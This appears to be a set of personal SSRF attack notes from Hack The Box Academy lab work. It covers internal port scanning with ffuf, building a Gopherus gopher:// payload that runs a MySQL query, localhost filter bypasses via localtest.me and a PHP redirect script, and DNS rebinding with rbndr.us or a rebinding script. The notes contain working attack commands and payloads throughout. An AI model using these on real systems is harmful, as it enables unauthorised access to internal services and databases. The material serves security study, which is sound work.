Identifying#

Notice in Burp or your network tab in browser devtool, if there is anything sending request like

GET /function.php?action=time&server=http://time.server

Or

POST /function.php
<...SNIP...>
action=time&server=http://time.server

Port Scan#

POST

seq 1 40000 > ports
ffuf -X POST -d "action=time&server=http://127.0.0.1:FUZZ" -H 'Content-Type: application/x-www-form-urlencoded' -u http://10.129.201.127/function.php -fr 'Failed to connect to' -w ./ports

GET

seq 1 40000 > ports
ffuf -u 'http://10.129.201.127/function.php?action=time&server=http://127.0.0.1:FUZZ' -fr 'Failed to connect to' -w ./ports

Gopher#

pipx install git+https://github.com/Esonhugh/Gopherus3.git

example how to use, on mysql

┌──(kali㉿kali)-[~/HTB/Academy/Server-Side Attacks]
└─$ gopherus3 --exploit mysql
       ________              .__                                ________  
     /  _____/  ____ ______ |  |__   ___________ __ __  ______ \_____  \                                                                                                                                                                    
    /   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/   _(__  <                                                                                                                                                                    
    \    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \   /       \                                                                                                                                                                   
     \______  /\____/|   __/|___|  /\___  >__|  |____//____  > /______  /                                                                                                                                                                   
            \/       |__|        \/     \/                 \/         \/                                                                                                                                                                    

For making it work username should not be password protected!!!
Give query to execute: database()
Give MySQL username: admin

Your gopher link is ready to do SSRF:                                                                                                                                                                                                       
gopher://127.0.0.1:3306/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0b%00%00%00%03%64%61%74%61%62%61%73%65%28%29%01%00%00%00%01

-----------Made-by-Skyworship-----------

Bypasses#

First off, try:

  • IPs in 127.0.0.0/8 range
  • localhost
  • 0.0.0.0

Bypass via DNS Resolution#

If the webapp blocks local IP like this:

def check_domain(domain):
    if 'localhost' in domain:
        return False

    try:
        # parse IP
        ip = ipaddress.ip_address(domain)

        # check internal IP address space
        if ip in ipaddress.ip_network('127.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('10.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('172.16.0.0/12'):
            return False
        if ip in ipaddress.ip_network('192.168.0.0/16'):
            return False
        if ip in ipaddress.ip_network('0.0.0.0/8'):
            return False
    except:
        pass

    return True

The hostname localtest.me resolves to localhost.

$ host localtest.me
localtest.me has address 127.0.0.1
localtest.me has IPv6 address ::1

So we can input http://localtest.me

Bypass via HTTP Redirect#

The web application can resolve domain names provided by the user and verify whether they are private IP addresses, make our life harder

def check_domain(domain):
    try:
        # resolve domain
        ip = socket.gethostbyname(domain)

        # parse IP
        ip = ipaddress.ip_address(ip)

        # check internal IP address space
        if ip in ipaddress.ip_network('127.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('10.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('172.16.0.0/12'):
            return False
        if ip in ipaddress.ip_network('192.168.0.0/16'):
            return False
        if ip in ipaddress.ip_network('0.0.0.0/8'):
            return False

        return True
    except:
        pass

    return False

We can run this simple PHP script, to redirect to localhost

<?php header('Location: http://127.0.0.1/debug'); ?>

Then run it

php -S 0.0.0.0:80

Finally, make the server make request to our own server with http://our-server.com/redirect.php

DNS rebinding#

This webapp resolve domain to IP twice, at socket.gethostbyname(parser) and requests.get(url).text.

@app.route('/', methods=['POST'])
def index():   	
	url = request.form['text']
    parser = urlparse(url).hostname
    info = socket.gethostbyname(parser)
    global_check = ipaddress.ip_address(info).is_global
	if info not in BLACKLIST and global_check == True:
        return render_template('index.html', mah_id=requests.get(url).text)
    elif global_check == False:
        return render_template('index.html', mah_id='Access Violation: Private IP Detected')

We can exploit this by creating a DNS entry with a low Time-to-Live (TTL). The webapp will resolve our dns first time to check if our IP is public IP, and second time to access it. Essentially, this is a Race Condition vulnerability, which means pain, suffering and repeat

In the first DNS query, we can reply a correct public IP, and in second query, we reply 127.0.0.1.

Public Tool#

We can use rbndr.us for public testing/bug bounty. Source code here.

Local Tool#

If webapp doesn’t have internet connection (which is weird for this function), and we are doing local testing.

We can host our own DNS server, ask admin to create an DNS zone for us to control like this:

sub.example.com.   IN   NS   OUR_IP.

Then we can use the DNSrebinder Python script.

sudo python3 dnsrebinder.py --domain sub2.sub.example.com --ip 1.1.1.1 --rebind 127.0.0.1 --counter 1 --tcp --udp